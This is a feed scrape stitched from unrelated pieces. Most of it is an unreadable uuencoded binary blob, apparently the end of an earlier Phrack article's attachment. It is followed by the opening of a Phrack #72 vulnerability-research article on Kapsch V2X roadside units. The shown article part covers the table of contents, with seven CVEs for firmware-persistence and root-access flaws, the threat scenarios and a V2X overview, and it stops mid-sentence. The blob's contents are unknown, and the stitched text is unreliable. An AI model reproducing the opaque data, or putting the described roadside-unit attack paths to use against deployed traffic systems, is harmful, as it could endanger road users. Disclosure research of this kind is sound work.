MO5$TAN<!DRK"EA#+*=I9L=!%=G_YJS:KI;)P9"E(=U1IVM[B\?8'7+G</0!/ M$<:Y^IV<]@XD"&!CY0&4>NVMY'BQ0?HZE1`D.X'_"-ZKYR7U9`U!ER[15CU: M%3"-"OPR@:"E!Y'KV&^-JA(;E5XA>\WZI#U3&;<#@5:+DCUP8BQI8%7OGB)) MNX7Y>Y41+TYLY17A?#X:]N0??FMHY0MV5R;G?S#648=M176\G9'[B+G3AO/% M6XZWZ>0TUAS-R!9$`#+W2>JO9M-#0Y.*U2(`58TW*.DO`^0CWKE:O7N>Q96W M,=%O<NPZ._[Q^.2G8Q-=X`%V)-9NT]?WP;7'^^T/)I!5"$BG=?SZJ-GI-D^A M:9[CUJ!3>2_LP>E!+5J/GM3VX)`A"@,DXWYR&1#;$H1H6/,(@1C7B]PENAP" M&VK1K!4:4HJ%DY(WJ&NSJRF)961N'.XOOAFO`&X==*0S1?%8.@LIYHL/T4^, M&="-T92L(U:)WRU=GQ?MJ2#TF%VB(0YI0>2CK=H"GU?\[%U;`&Y[,3@M%5@$ M:J=&@U>K29.#A,"YH!B#ONR#H=%G=?[#T/B%N/.Z[]WBL!63(B&<Q?8`QKQ5 M4ODRB3C&S<CH<G>M,.Y(KC2QNC.I4H2J4F;-O6FT#W]JM(T94#A@A"=DI.;B M`0(B.).">'.!X'$Y,>D^E^M$Z_CTK.N$9>%Q-Y8`UNF>G'JP2"".)4"1&P$" MB\:46`*8DH5;GY^%'"L\R+7R^(E.;`D]T>$IC)4EVVGBVY9I*<:A^;+6QA#] M:%%;58@D>OW%]DW90G,UR6('5O@Z#ADSJ4N2\>@Z5NP/LSI25QX/Y)X.%S., M5X?RV:_O^N,1'#3\5!-6YC1)9RI;V#>"[++);X8&-.+,UV@M[8\R=/M!F2_9 M[LW-HY/7U95@#H$D:1XY%>W8C63LUVAQ5D0[3T<_8X%RD%.>N6PL'9X#=*\8 MCZ&.?N<?>]HTOB?50R-^S`'0,DZ/+6MS'C9?GKU^W6SW#DZ.NZWCL^:>G,B; M:Q4UZ[9N'H['-]%OD2T-<T;@81@U?SX0!0^;[[<^B'>1RWS85A^ZB(Y=\1.1 MYK%)]<A%(*_&3T=6>>M#3L)V(,$=$LM'XLEI-3J?BH,(V?WTRL,I<3X5/=G: M?C9673B?&DIN5CX*`3<W_Y3X4E2M6EPO<,70&1H$S*B$^JT1-'%[:\?PR%`! M#V)$'<#@,*C]'+"D<!/:[0TQ#$:Q7:8?C<->0XD)BOMA>T&Z0B([_=M[4G)$ M\&I.-U;-Y65KL-L1''9(^%L5O3;_[+Q7N2N&5%.=RG"Y_7=D%N/"E0?5.#!* M+;]%RTNU4C65\P>],MR:X%S9'-C<_*R_+X3F,K``RP%&G+47@G(YK!);BF)U M.N)OU\[?TG5Q'JE\?:*86UMQ=7E1O8M+!<)Z4Z=5V>AJ#B'Y%+I#@786GF&. MVCX9H,%";-Q'KKOB!5O-J0\"4H8BNOIQ:W-!0)-3%OK2#\(1&N\'(?F816"0 MZ*F5;D7-#T.K5FY9<JF)\X1AIUSV2?-]M#)86Y4EY=W`8]J]/JH^'-8$X='C M(96T#!^_://VQ4B&=<\^C<3VN(#HZS:"\A.2N,XO'8A'N5M^%5%&$)YR'"8\ M1$!@ZF\W.R=G[8/F$@UXTSA^W3QT@'*H=G>6<,\%N]+'_9;'1EB@)N9AF\CV M@K%37<EZ\:'-OQJ1WF[CR2#./<4Q7^8Y1[D[4\2`=G'!\+YJM([.VLVE:CQH M-SIO[.A]7C2*K>-.MWUV`,C=Y:F-=JO[YFVSVSIP$K`*Y]OK,['3J6]I/[OD MTZ!\'Y?O8;AGAK0MWP0*<'/S;#*ZB4"*V!]GSLH^>=6%O5W7L+DIW7#3-#JQ MC",HAT?I#02K]CS:@:NA/-[PP0M39:_3>GW<.*+S'#WKBV75GX]G.;[U)?'* M83[MO8?IH*BDTWS];M?[^O*LLTL6&%;MKGX2+$$7:UD2:#^^.FWZ'QLOVUW_ MJR"C_L?3%@6@&D.F'VG'YII<RZ@(>AE'<EB3BYD:6W#@-)P/!%DZOU77I9#U M>M0'IYN"R)!J3KN]1K<+IG0_'T29C-2:(51UF04PYAF4[V/;NR>GNAJBK6*Z M)I)I+_P[8!9\(F<$K4]T^<A65T5;NV_.3@\;W69`N,WD/:<@WO$S50>PE?9F M-;Q%`(9$:?.$#ZP!`"#-RF?.27ZZ\BB&#MX<'5(,H=#;$7ZYD35*$)+3]@GL M8&)W:74IZCX7-$FM,F_6%:\^"H5!8,4L(0F'=F:N(HMW/DF)[,9GP%E&21Z8 M'"&)X.B82U?./-DYLS0'1?&Z%$4.*25U^M>QYH*S*KP-S6NTENJ?6G>B6EWS MZ!Y$>4`?4D!]:S6K=I*;49#A6K2OLP5\B/FVBV%G90!AA<JL38/7]S].4X&3 MN;P-7=!H)2A4`3=6'2CFE0Q?+CR2)]@8:]$F1BGMCXTS-)+[8CHW3:=(>G5Z M9C`4;?J`H!M<%47*R!5-`=81V^AAHY#HY#R\1:6+555=$OFSVJK3[Q"RBQ\7 MPD!I-ZE+#`ACM4!=1AHX"/1@0!G1)SL8T</A"IX*<Y7+VW$V2]*E%M%:X6S$ M2!:!J7.'-6'G=)GY6F;>+S&G$?\%TS'[<T['>YJ-66@VFG$-N)('F\4#L0?$ M-UI]1W6M/YB!VJ%\LU:RBH9=91]QM^E-YE?GL>!((O&C9S-OY1*5?O:KSA?6 M6UM5J>(7@:EM9H*(L.(+4$PT.@>C%UM[H^<$R!Y12PSYH,3AE)NE!2)FJJ:J M?IF#D[/CKE'P"1%-5?7[T8>Z7[[NSR2YO*)5.P/R^VT]0GNR-6V,JA;YPR$* MD;6;>N-/?D`DS%CS!GB!=')%-ULB&][_1-'--OF]0WX_UK\9L!N4#-NW;?:V MP]X>?_`J?D(J>$I^/R._O\NI^`D#_I2]/6-OW_D5?T\J^,'\OMG>(K^W<RK^ MG@'_@???0<>V6_7-]@ZIXC'Y_83\?II3]3;'Z/9C_LI1LOW4K_P9J>0[\OM[ M\ON'O,HY5K>_XZ\<+=L_>)7O$.3N;)/?!",[>=-LAR-VQYEH'"\[WE2[V2'H MW7E*?A.,[.1-M1V.V!T^V78X7G:\Z7:S\WT>X.^]J9E-[=2\(+_'J?D]F&;P M\KV`QN!E4_O[@OP>I_8WE'6J%$F#7W>M)(7XW1`)8DIO*;,<S_SC+48XK++Z MY9Z/16MU":)&A?KE*%<ZFNYZE"LU9QV3K7^#V:+T7/\8Z!_#FP"$_@UY.:<O M`_HRO'$KRD8:K/YQ/E4_LE!3LQ$%1U_.IS2;UZ/O%=0?U%]!DM2/[4`UWY/? M/Y#?VUOT9=NM1!`A!?2Q_O%$_W@:J&9[A[X\IB]/Z,O3KS6UTL*Y9>YCB.'" M/P1W$/WC>945VJ1O<."LB3R6:;`-YZM5Y/T'LZU<BA7!O@';&@A7*[BE+!Y? M`&-D.0ES=@U&N"5%JBQ0DF&L**]FN'#*]RDE(\TG=J1LP+*-^.LH2:;6"&\V MNHJ3^8PX7<B1#QGI6O-F-'.THW,E0^92BLDL)G$\M)&&L>>BJ_.KH$5$S8,# M\79N'2#./!,9NHF5`,D2Q&$%]W(DA4%C@9<>*F/W`"GR0O)@GG;%BY(AH1I9 M'_`2V2"M*O@[?M;-"70W,A&\=0;:CXC']Q:<HW%8`>NE-QY=C68R3B[4#IX" M?AV-02JK>DW,(TWD1U'6AGPB^!%K$&/Q$`E[U>3=CP(U^R(RI=('YSALOPJ* MB[GIG9"<UU+6FSN\\@DCC<?"=2<<OW)C=GMF>`O&%/)YYCPNNG[JCV:ODM1. M)[3BO!I-JFKQU*U1:TV0OC)QF8-/&O_?/,YFVNW7':%H,[`)7.KV>FT)]`Q> M!9L`FDI&A0^"?V:WXK!Y97524(_%$(KH=3*+3,\MP1?YDH\=.:QHW55U=P(( MMI:WCL)K3^4V!=?#"Y,UU"G>B\?]:18/\7@T5*Y'60YK[!XJ+\M%OT6S9-8? M]^)K^S$$K,[RU?:LUD"5):#Z$OT2/??:I0U[?82X7]99K:12-^,^]3>C";VJ M1KU&.LX48,0,"D4E'Y&<8?!QKRN`MZ'?#(M36K0>\17%&JXKM"VO>IF@RQ0@ MV&WII'6R2ED'=_4%$.F,;KENH6V`OA`$&SWKG`LN7-XV#M[TV@?O>MW6V^9A M[^2,7,?AS8-NN,`YOW59@DB6(Y.+""6]J]G<_)A$P^33!&0F"5['F9Z`Y4&[ M?7;:;1[*/B8B.?TT$CQ_L.<D/^][\:V3WE+)!BG;:'Y:D8E9)LY]$K&5Q.:\ M[;QV16[R88*WZL-,RZ'D%:86DXF4FYIT4X3$$G(K9V(X]/5(&VE2?'YFQ$71 M1Q#LP3A:ZEERO(M&6E6T%EE:'J?7<2H&9#S.(D[GU3T3*G#K%N=HGBMD0/1U M5(_*RZ;N8X$CBOL39#:R#`QUI_T4M,0'29K&@]GX5N^FMHE59Y^+//9,VQKF M@+3C*7?K:O5JI-DI.5`SC'-(H`)3B&%T]8@5S`+LN2@;*;>N>E;8'A3,"\?% MB,_FJ>'3G<R];O45-ZBUR0%<UL=#3S>,U5X6/N7:;27!1<F#V96HYT%`0<O5 MELN[<V:5+,GA+W&N")QLBL\UHM3FVEI%G,'>2ETHB`@_Q_UK=#4=QR8:>#3* M(C7P8A(!9757JU2FVJB(Y<3YT/P%7'4.GS-R%6TO46BZ=\/"$@%--HG?2C/@ M>$UMR]L$#!L/XO8A3??O&K32#C.X(7O'N\91ZQ`]8$I;F?M&<K0$EM4U0"E< ME\*9M'7_0LS)3&AY+$-W4=C\2@*BJ=%+OQS()I<%[\!Q+@]SX*SQ._9R(ZP& M^$!L663WM2,G$B']O\4&T+]R4*_"K+%/^NI,$O$&:B-U$[6ZJS4U$0A(,_D1 MFCKXPL=E%J3J]F@H9N1H=OO'7Y\YL^P_;'Y5S'6WA4`:Q6NV\C+S68H)!10. M6NQXK"3NU5:$YACF>49RX-PE)W<U-`_NX[G+#?IBH'S>W<<3FJKW\=B)?5_0 M[&2]CX<NHOMX0NH<]P52:4BA2W+!6UKI<;0FF%FB3V`G^55_VKN:S^*;C7$R M^%4R4,K9!6@-FGQ2AR"QSAY%01E>W<PUX_5FA,?D!671.09H_XYF.O"YZ\!7 ML?FF$\GY/\`=X0"<62)'<0[.#>?2)[[D':9UG/L1;@LOT"P"^7W>2#CO2838 MRO/0,I]HQ*C>/1`EU_?#`EQ,RC,+=@R`L2','R04+JNQC9F7M*O(=X!$!*<E M[D2\`5_LYH@<U0QLK95L!FS1R4RV?ZFF.C:X]]!8>4-:NKG*%99O=^UM/GIM M*L8K;S:$/::Q0]#=O6?%HKSG6BI@5&]O;GSJH?T(@=_%H=$^<E<_.OK(EYY` MO08$$[FI&PQP1XJ'AX0L^.K#>0UI0:!*Y?T4*Q[J@0O6_=GI&J,`SEGV``0H M9\;A$!UMF<6[2:6Q#Z((RJ<=].6O+E<5)'2,P&4M/"5T*>;X5]Y2-FF"8@H> M75#._N0V^F=R=3XR2OLQ^O1&!Z]HRU9Q@TCA!5GU4W\T>UQ5@:#JT4_')R"2 MK,.X[(M_Y(DO]^;R1T$KR:QDR.#SJ=25)">]1'P*+5?'@.EHZ-X$H:;_GBI? MM?GJH&S_8TLT0J%+O<K9-5/R#9$M2R)[M7(USV:%S95;3`]%/)8LFSO<K9L+ M]1C"Y&9_D"/ED=[4@A)9SZD<])4::;#%?8BSU=I#9Q8_#+_V<M/2)MI2''[I MLHU'"VA.KJ?$05D\N1ZEL$O):TT4W*MB4[RIP&1R+;LVU1UC11^]B+:52L.C M1Y94R1JF&CPO`MK](Z"T</<RN=[(S!VJ:@$4-7$H;/`6>>Z0SMW6J@;^HVT5 MR!LBD<`/&9?$^F6DM3,7N`!"NF1TPL3,TG$\J:IRH'#P2&N(@%MY<5)2)>L1 MR6-Z#YH/U$F9TUW/3YF3'G15EM=4R"78)L0@^-/+::;,IH)W:+I.!@PS&HQ^ MH(11S3-(#'I>$20FG6G1`(R!F*H#'>Q@3;Q<6W(#2=%SLH>H17*,IU.(`M%7 M;JTRO>1A)T?Q]S3)!):NJ98V?+KI9=/^ITD/8_#TT<`S@V.N_`GVRV0_+R@@ M?RG.L@J[30\MH'5+&;Q5G1LG?A[0T41P`"IK;4%>,0>2:3R)='Y!";N')V?= MWJO64?/XI!ZM;`[CZ\W)?#P6&^9)[Z?VR?'1+[^=]!JGI\WCPSI2_N5K:+;; M2]8@$8^^)\6_>MW938K4WY^!K188L\DP5H;TNGD4HL1/0X`MW77GBB6H4"PR M4)A%2W8)/(BL1\:A>Q&=GG1:/_<ZIXV?CJ5'`L%R=J!K\CH/`A+(V*&]?C9. M=:T4QF\OHAZ%<MCJ-%X>-7N-SE%;5Y[;R2R>(139T3H%O%2O(?Z);([@KO(J M(8N$TU2S$^SEM+6ZBOLPK%M47;;SOAZIED,:4KYIB883!A[A:^;=;H(8V`O9 M=@6F5F*%#V,(379;M<V3+MZ0"8SF4XS)I1J?!::E+J]F'2L*GT;G@@)D%;V; M\*UQNA>MB?^GECPC([@V-5,0WQ6&*B[/":(M$&A)MJ$J\%T+4E9?[OJO`I9@ MH;)4OJJ4B7^B_)\Q/B/(F:AE+VT\>\K+GWV#*67,/XVI:CW`!**?WBTSCRB( M%]'Z=NXJD!FY):RZ=%>("7%9H3-2Z(#R/G`B^8#6#:-LKY)[(`DPF9II5*T\ M7,">RR&O,NL+7(]A/4/JU]?RWB5F6Z3<>]A8/63LS<VJ-P')F?A`3;2JU>HH M[%E[/E&K:'"5VQ\C99JF\0!]1XMB@(0XO8#AUF$UHG6XP8+$,,<1@C^:9+.X M/UPIT]#20/U!,$NJ`,%V<3'F2=:('-/>G;"?VR>3/5]=%;6=L`^@8^7-Y*!+ MB1J1M>5-?-\%4-[!11^<"TYJ5(.HX/SC$M(6\!<%K&E()%!X]LH9<E_&0U,M MABE1)BQ'@"![/DMH*PS11@$BQK0SD@86Y@J=>\DS'@O?YG\W\=7P8P8VF3V1 M0NW?5$[0H58I%(`;5=)W^ZHR@BZ<C&DC16[M9K=Q>-@FCC-P2TE'UR!,'XYO M;9!B29^TQ<0">&+B'?S8.WG7;/_4;G6;N4`56JUSV((Y?7QRC(!4X$>ILKLQ M`/D1V0GNN!5S05.D8S+#39[R>PY*.?Q,?!<=52JV6K864;)$'1452A.")#Z7 MBVX?V*=>@G)67/*"'SW!M\9X7%U9-X-YO5*/+#T4K"<I5S.'?'K*)AG\(S9- M#)ZOG3/X=)Y=]L[[8F=?,QZ0U=%"=B0QPN/@HA?=>CF:]--;V3GHF9?-]6N0 M_Q!$E"T2$#?C@"1:Q&T0;[$NB05#O&',$N4I57#-$Y`LL")U!=:&K2E1&5*@ MY2K#(GF54?+JHQ]2G2EE"M0"A-B'0#,XD-BY,;_G$Z"7Q3WVB6M_EHQT\D*D M2O)=J@I#Z2%8:3(?5S56I?/]K9H16%_&@U\!PB=QGDKC*)U/\!`'IT_JS2K! MT,?$WY;=>W[[S:G5?C`;D1.),;#Q6<U<J1CN[7!X^!2@39KN(R:@ZKBW^T$2 M4:)5#"B#'4&D[W@$"KM.-Y*4=T-*HL]C<=*-!^!!'N*\B>1+U'1D]E$AKNM! M3M^=0Y"R&-&Y4&<K4U<J&EOB#1AD.`Z-440NJK`G(>G?=S/J(Y^47,?IIW2$ MUVJ*J=*[N!ACU$L60W\I>(%H/#K_*/<$2!*$,D2([T/<*:^N06:)]]HKMN*5 M&L`@(9IW=R?3A/B>68J_L.9J0:;`IP)^-H<6^!GLX=9/6K3[K!S^<G38Z[QI MM)N'O7;S=>OD^(4"X]P,.I1#0V8LG`I[9/9UE]H8W1X5'HD<G'.#[T0O%-Y5 MH>I:3:HA2(TK$H8+F'?!2UU-Z\[%]QJ^QV,4%=5H8+;A.+N]JK:[`@>'S5>- MLZ-N/5K);8K$R.*(.TZ3H<6R[1B"1X;%J_Z]QF/PR%A=RJ-FR6VX3*2>._67 M]R>_WRJ<36&':[6RM2IH*S5VPJ!V=>HL$-RBP#!.6K65V9X<L-9`)6^[$K-H M>VOGB?HCI6Y&B!]<RC;96<+(BBL^GM_BRC/-Y\I_%3_QUGI_/+WLKV?I8%/+ ME38N%Y1:[MG:VGKVY$D$?[][]A3_0O?Q[];6XYW'3[:C[:=;CY\^??+=L^^V MHZWM)\^>??=?T=:]MB+G$=M@/Q5-N=HNSB>R75P4I,O.1.;O'^397*L<)-/; M=/3Q<A;M;.UL1:^3Y*/@)(Z.#BJ5H]$@GH"]U'PR!)9"[#2-*6XX*J4>O0/& M2JR@G8TM\)`21RLJ"=;>;3(7%.E6ZW%+C0$4=TL5%MRUDZOI>-0'QNR3X%RP M$@5BH_*+`I"<S_HB;U_DGMYB"':;2_"=E<KE;#;-=C<W/WWZM-'')FXDZ<?- ML<R2;1ZU#IK'G>:Z:&:E<C89PR*!X^LH56X,IZ(1`Q39CON?,`[<QS26[(FH M6#$==72#"#%5*H*15J)WBAW=)-%-FD'@IS^)5AJ=J-59B5XV.JU.O?)3J_OF MY*P+JBGMQG&WU>Q$)^WHX.3XL`4>1L7;JZAQ_$OT8PNNM!17%]],913Z%%7B M!=^V4>G$,:L<V!QX5ZS=0/1H\G$.N\E'8*"0)9Y"J.\,1BX#IK&"U`MUZS._ M.VBK4-F4FOG)T$1KSB(V=YY&_Q/?1(VK-(FJG?^;`P=^U#_/8"K54!$?Y"L3 M$+!8$[7*_Y-\(/TDLDT&X[G@-)_#=K:>;&*X54&6]FD:-CF#C_;;?)*DPQ@E M'?WI/LN<S?898)9\+9BO)&490&9./PQN;OKG(]Z&%3%YKY+)QN5*I<*%1S9+ M/QU<;O;3JV=/-M/X(V25XB`GQ\WWSVRZ%.S8'"A)W@1DR#T'<L4WH"`8K1RL M(/_D91Y]5!KUD/ESQ95M:;R+0VGO^.PM<&R]1OMU)_J>)'I>D*`X^\!@Y3A= M"A22"85%NV*+T[X/I)XJ;*H5MXSQ"(:U'#=/CO,:9IWKV5;1_.$V$9=\V*!) MK!0F57/D8!8A]%DA0L6X+X]0OU`IA$*Q)1`*V5\=G32Z93'J%5B,4BAR(9;W MC+1(SW]!/^>#6>2XVX/)'NH<<VAG[I9\JP+CU6ZOXCJ5$U"82[@"*,;SF^"Q M!/L5BX3(N=.`AC(Y;)U^T!JV["/5UV()]&HBE`!:#PRZ-!]DWZ0Y,/NDK_KJ MMA-@F",VB(-D`J(XV-FA'^"67;3XG>&Z;0&I@'B:)OH`"_EA9$`GHZY^HT!; MOS1_;AZ<V5=,4]\0K%1"I^J-`N9T?BXV:+#]97J/.#S4=8K8[.J5O_S%_YZR M[\I=1F:^*=.;:2W:C4!U=ZR+5L?]6AT54V>Q^9;"-U1ERFIUU"*M@M+99[=Y M\@Q%/ZU*>VJ_&OR\P;[5H'7B@?.0TP"9FW^DV;%M,A/&1"!)V%J9A!K.?K.C MU43P!WVQ([XHZH$\MK,6@R6-WP]]F48;:W+RSTHG3.KBV?9KA2'4XK9M9[=T M:_K*^[/QVV*Z\:+*^J="*:671OB@8#B=>0%9>%^BU=7*7_S.R)S.5YE5=D9F MP-_RL^R,_*S[\MEH8/`I[2(S,+L]++HS76&137:L%I;<YF;T*DVN\!`9=4Y; M*C:S'U1XX[("A!`X"7DN]W+L:;K-4E"&)(,D_TM*],[.6H?`R4L!%EAY`A^N M\F^(/$H8@>F0>4^6@R"[1NHGRF.3Y?66S(MEM3P$O[SL9W'#8D8`T9KK@D_7 M0F(X?("KAKZ$:$#A1)HD!_#NE]:NRY6DRYQ/!&<:@J.R*6"`^8IC<O.ORD4Z M$AM@]`6FB,6&B`5FB+E&B"5,$(L-$$N8'SK&AT6FAV4-#XO,#LL9'8H1LCO/ M]2B=S?MC.?,+;NIAFCC,P"*=DIPB9;4[`L6E^GP@(5_#(I"YO):/]9;E:)GO MN=]?J>N`0WD#`,IBFO[F7"OL.=Z[7L<S'=X2BKT#?8(`&*INL*<O$Y!I,696 M77#D+K<`*VZ7,E,9LZ7WKG5RA"&3Y-?6T5'S=>.(Q@*1"?;V7K#`/\EO)]TW MS3;0=77#C'31FI+*>GE;=(C+2-'7T52^(0:O^K?G<0^$$7'O>I2,^U:UEZ3' M-_%@[N>0\%3L";)1R,;95@GD'O6S&7&F[^R1S/V$V;:LXI8RD=66+!5UMRZ. MW,_U"-9S/\F;DGWP'G][=9Z,L8G8="#\,LYZ1Z8HR3"&4[<AG2RB2=#N?U$, M4$X#C3\4RCW/O&:..R%M,;/Q@FG6!B[18%;EU/#S7H7J&="@XOLTI.,>F^S, MB9026U>FDM^.A[MZ2IO`.X<QY<2C//62.DNTD]_,"$;MG!#W$I/Z2EW2)OFF M`MN3:X.]/%AGD[$/#=E1OX0?YB,OB_;HX6=PP_4ZR6Z482?9"1SLI(9C4'C9 M\D(RNW4Y,>EU,BYR%K`QD$HC4WJP@R[<G-KE3)(N.%3\X&K.L&B?-,0\GK`G M\2!)A[HDA)F[1!M<3:33.49"9TX=HLM^%IW'L780,_3[9S%<7"NE649EZ3.A M#]RN7^;/9YWVO'3"/`42-?LDDQ8P4*1\D(4BZ?E,E*5HBHV2'_*8H$*8G`U2 M9H?<M4$M^'61$PS^%+K$*,A:Y*B@E+N,`.P"YQF!W(M<:?#'<ZS!GV+W&*5J M=_A6++CKC(#CC<(XK228KU+;9Y.NT4VL]G4:1VZ5OYI<@)LJ1H.G7Z"E5>,A M2*=(-%7E'_/5=,^Z_O#3$&``$2CAD+M:H3.//<8(N8Q.Q02QI'$H]8](JMZ9 MUX8R#^LF)JOBYM7F!!2T$P14U_4@YUK;8[EIM$PO&VV?$U93`UD3B7+_)?MA MD),R;/NA.,CF,EOX7<!LP?T^^ICU<YH.K5V-)H&/_9L`S!PC9TQKH[CC%9BN M,*;.P#2!0$GVGX!O=O-+^99JLG).5P`#_%F[($H75D+2@B;7?7&JXO3(^2KO MD&32/85*DT2TP<TWH]AEOE`E0?/15PERU&89^\[5A/;DT0OAY!D;[#G=,Y^E M:`#Y<![HU09/DE$PM1K@93R>BF6D\9/9J?^V_VN\0'R\W*@854<)7PYS0WN6 MH"`"E!R?`LBY91!-<Q#]4*UNK9EM9YW3GF-0^C;'"KCE$)-'+,A"%2$O?_^F M,'^9/M^UWU_0]RI?ECI7\P86"WJ);/<G'^/0F;*@.=KI-B%JBS-;8E>4V2PK M1<*Q>?O`Z,+A'I=GBBU>7.,:;K%.SQ7F2<_+5TG!P&'C-$&[ITRB/$S_`3B[ MG7\N6Z<7VOYJE,5P$X[6!H*`V:$,U1'`?`C!=ZU7$A+M%Y7HF%:GHO;);-0? M@T]2,-1*<9>'X[]4*]:G%;L5=P76,@BO/73V;;WG6<&5EDUH8979L>F9S&SJ MGL"+%-?45)3MR&75F`P[X]%0CP^2/F5`L7@^,FW`+/Z(I_S2V0>S1?DSV<;> MLR<03VW6RQ:3`CV[T=@6+CJ@<WKT)+]4,O8AV:9+AWKC#)642.F!"2T`AA#, MC9(2SD-IR:CF'3-+KM>,NP$ST94RK/YJ`W),ZX%K7'`2+!IQ+4BE>YO+.,Q_ M>QL$%HEXQ.&5M+RNIJ1@R)/L5J2!^&@06N]2Q;=N)-MK^T%#VCT'""H`6?-9 M+KJC3,0^-Z[:(Y;LQ(0]O_CN+JB/PS5E!`PMXT\6%QG-R.@M]F\1$/$71`BQ M8Q(R\,24/+=EA><LXP1%EM8-XE(QNU/1P'?,-Z/J08$O82=GP)*3W[,%76<9 MOM@WE=NC:=1.CNF.6#LU;C*7F\G:N]G:N9$GHQMOC=9WB+C?Z,5#OP*A)>]V M0$'\G_2'!\G5E4!K]A);4;!G4"^W8=CZA+0&XM[>0`%6JMGQU12VQNBYO`?M M'KP]W"=[%VE*U:F"UI"S3<AZ6;4+(FV8)2`+70T+_58NL2E"QP0*8&]332%3 M_&2"I^?C9`:F.";N$1S*ZO9^89R@+=-%@J);2VS7U&T]V<A.)G!F_Q*@Q)(@ M>_^!0CX:#\_O`EGE@B]T^\QSVF![)Z:!XOZ(+(6)78S(`*\'K#"RD`C5HY#\ M6/;T"A070-+X%I0I[2GE%;I%\<XNR@0@?"@TW%L^>T"REY<4V$8R$0&AROJ. M%`_2AC*[M-M<')GPZ:$#U,OX0G!&Q-"DU)E'+RDUH\J<?.`I>X@L/$;F]Z5Q M`3-H^:XLWY/2'5G8#[Y-.?W1$R6U9P#)*H6/NYWX(_!KY.SGRT$RF0?VP%0" M76Q)E`\%3-S*P;B7@R_'?O#\JS@/*]E4UX^6?>-6F]J"%X/<L71IH4G2*\RG MH#99VZO0.UUJG$GFJ7..,]^E;5PV=;^H">'E7[/&=/`Q<#<<LCU49R>WE4R- M0LG8:.PO.!>?WX(/(K\L-8Y29<%.$'3,3&.K:_DV>]Q";^&(RR=@QU>RI&/M M1XW]["B%V\L-W9B=7LG*U:.,^N"L!(:5]V#<E_OX5G_W`I#:#"Y"F[+48V9^ M9$%0JS8J1;86<4J-3BI90'0<J_`,-B?_;@.K;\^WY]OS[?D/??X_7\FUS@`: "!0`` ` end |=[ EOF ]=---------------------------------------------------------------=|]]> https://phrack.org/issues/72/roadside-to-everyone.html Tue, 19 Aug 2025 00:00:00 +0000 Jon Gaines Phrack #72 phrack-72-16 |=-----------------------------------------------------------------------=| |=---------------=[ Roadside to Everyone (R2E) Phase 1: ]=---------------=| |=---------=[ Physical & Local Vulnerabilities in (C)V2X RSUs ]=---------=| |=-----------------------------------------------------------------------=| |=----------=[ Jon Gaines - GainSec <phrack@gainsecmail.com> ]=----------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0. Intro 1. Overview of (C)V2X & its associated technologies 1.1 V2X & CV2X 1.2 DSRC & ITS-G5 1.3 RSU/OBU 2. Tested Devices 2.1 Models 2.2 Chipsets & Notable In-Circuit Components 2.3 Notable Physical Interfaces 2.4 Notable Firmware/Software 3. Attack Surface 3.1 Lack of Everything 3.2 Hardware 3.3 Pre-Embedded Operating System (EOS) (BIOS/Bootloader/Kernel) 3.4 Firmware/EOS 4. Achieving Root 4.1 Simple and Useful 4.2 Quickest 4.3 Troubleshooting 5. Batch 1 of Vulnerabilities: Multiple Paths to Persistent Backdoors 5.1 Insecure SPI Flash Permissions Allow Persistent Firmware Modification - CVE-2025-25733 5.2 Persistent Privilege Escalation via Modifiable EEPROM (SPD Write Disable Not Set) - CVE-2025-25732 5.3 Lack of SPI Protected Ranges Enables Unauthorized Flash Modification - CVE-2025-25735 5.4 Improper Access Control in EFI Boot Environment Allows Persistent Firmware Modification - CVE-2025-25734 5.5 Improper SMM Lock Configuration - CVE-2025-25738 5.6 Unauthorized ADB Root Shell Access to Cellular Modem - CVE-2025-25736 5.7 Weak or Unset Default BIOS Supervisor/User Passwords Allow Unauthorized Firmware Access - CVE-2025-25737 6. Phase 2: Onto the (C)V2X Client/Server Stack 6.1 Can I have some more? RJ45 Port + Second USB + ? 6.2 Android/iOS Applications 6.3 RSU Server Stack 6.4 Remote Exploits 7. Random Nuggets 7.1 Sniffing, Outdated Components, Certificates & Keys, External (Web Services) Oh my! 8. References 9. Raw Output --[ 0. Introduction Roadside Units (RSUs) play a critical role in Vehicle-to-Everything (V2X) communication, guiding autonomous vehicles, managing traffic flow, and even assisting pedestrians. However, these units are often installed in public locations with minimal physical security — the units I have are secured by just four screws — making them highly vulnerable to physical attacks. Unlike traditional cyber threats that require remote exploitation, an attacker with brief physical access can stealthily gain persistent complete control without any need for soldering or physical modifications. Once compromised, an RSU becomes an invisible tool for manipulating V2X systems, with potentially catastrophic consequences. The risks are not theoretical, as more and more RSUs are deployed worldwide. Past hacks on roadside LED signs, often left unprotected, have shown how easily public infrastructure can be tampered with. However, while a hacked LED sign might display prank messages, a compromised RSU poses far greater dangers. Attackers could mislead autonomous vehicles, disrupt traffic signals, or even manipulate pedestrian safety systems. For example, a visually impaired person relying on a V2X-enabled crossing alert could be given false information, stepping into traffic at the wrong time. In fact, the vendor of these RSUs has already developed an Android and iOS application that assists visually impaired folks with crossing the street safely [1]. Similarly, emergency vehicles could be rerouted into congestion, or fake hazard warnings could create unnecessary panic and detours. As smart transportation systems become more widespread, securing RSUs against stealthy local threats is no longer optional -- it is essential for public safety and the integrity of connected infrastructure. This paper explores some of the physical and local vulnerabilities found in Kapsch TrafficCom RSUs, highlighting how easily they can be compromised and the far-reaching impact of such attacks. This paper presents results from phase 1 of a multi-phased approach to reverse engineer these units; the goal of Phase 1 was gaining root access. I'll also discuss what my plans are for Phase 2. I was not expecting to have seven CVEs published -- CVE-2025-25732, CVE-2025-25733, CVE-2025-25734, CVE-2025-25735, CVE-2025-25736, CVE-2025-25737, CVE-2025-25738. However, due to the low attack complexity and never hearing back from the vendor after multiple attempts to contact them, here we are. Few things to note, I tried to keep general concepts/explanations, that aren't unique to these devices, brief. I've included commands, outputs, reproduction steps, etc. as much as I could. As I never heard back from the vendor, there are a good chunk of things that I've left out, as I don't want to be sued. That said, where applicable, I included some source code snippets, paths, binary names, etc. and hope to eventually upload all the custom drivers, scripts, source code, etc. that I found on these devices one day. Check out my site or reach out for screenshots or further information. Cela dit, entrons dans le vif du sujet! --[ 1. Overview of (C)V2X & its associated technologies --[ 1.1 V2X & CV2X Vehicle-to-Everything (V2X) is a communication system that enables vehicles to interact with various elements in their environment, including other vehicles (V2V), infrastructure (V2I), pedestrians (V2P), and networks (V2N). This interaction aims to enhance road safety, improve traffic efficiency, and support autonomous driving by facilitating the exchange of real-time information. Cellular Vehicle-to-Everything (C-V2X) is a specific implementation of V2X that utilizes cellular network technologies, such as 4G LTE and 5G, to provide two complementary communication modes. Often called Direct Communication & Network Communication respectively. The main thing to note for this paper and these units is that the CV2X units (9260) support the same V2X that the V2X units (9160) only support. [2] V2V, V2I, V2P, V2N cover entire huge varieties of communications such as Intelligent 